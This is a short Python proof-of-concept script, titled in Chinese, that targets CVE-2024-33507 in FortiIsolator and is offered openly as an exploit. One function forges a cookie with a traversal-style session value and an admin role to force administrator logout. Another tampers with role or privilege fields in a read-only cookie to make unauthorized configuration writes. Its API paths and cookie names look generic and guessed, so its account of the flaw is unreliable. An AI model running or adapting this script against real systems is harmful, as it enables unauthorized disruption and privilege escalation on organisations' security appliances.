CVE-2024-33507 FortiIsolator会话过期不足与授权绕过漏洞

# CVE-2024-33507 PoC - FortiIsolator Session & Authorization Bypass # Exploits insufficient session expiration (CWE-613) and incorrect authorization (CWE-863) import requests import sys TARGET_URL = "https://target-fortiisolator:port" # --- Attack 1: Force admin deauthentication via crafted cookie (Unauthenticated) --- def exploit_session_expiration(target_url): """ Exploit CWE-613: Insufficient Session Expiration Send a crafted cookie to force logout of authenticated admin """ # Crafted cookie with manipulated session identifier crafted_cookie = { "session_id": "../../../../admin/logout", # Path traversal style payload "auth_token": "invalid_expired_token_xyz123", "user_role": "admin" } headers = { "Cookie": f"session={crafted_cookie['session_id']}; auth={crafted_cookie['auth_token']}; role={crafted_cookie['user_role']}", "Content-Type": "application/json", "User-Agent": "Mozilla/5.0" } # Send request to trigger session termination on server side response = requests.get( f"{target_url}/api/v1/admin/session", headers=headers, verify=False ) print(f"[*] Session expiration exploit - Status: {response.status_code}") return response # --- Attack 2: Privilege escalation from read-only to write (Authenticated) --- def exploit_authorization_bypass(target_url, read_only_cookie): """ Exploit CWE-863: Incorrect Authorization Modify cookie to escalate from read-only to write privilege """ # Original read-only session cookie (obtained from legitimate login) # Tamper with the role/privilege field in the cookie parts = read_only_cookie.split(';') modified_parts = [] for part in parts: if 'role=' in part.lower() or 'privilege=' in part.lower() or 'perm=' in part.lower(): # Escalate read-only to read-write key = part.split('=')[0] modified_parts.append(f"{key}=read_write") else: modified_parts.append(part) tampered_cookie = ';'.join(modified_parts) headers = { "Cookie": tampered_cookie, "Content-Type": "application/json" } # Attempt write operation with escalated privileges payload = {"action": "modify_config", "setting": "test"} response = requests.post( f"{target_url}/api/v1/config/update", headers=headers, json=payload, verify=False ) print(f"[*] Authorization bypass exploit - Status: {response.status_code}") return response if __name__ == "__main__": url = sys.argv[1] if len(sys.argv) > 1 else TARGET_URL print("[+] Targeting FortiIsolator CVE-2024-33507") exploit_session_expiration(url) # exploit_authorization_bypass(url, "session=valid_readonly_session;role=read_only")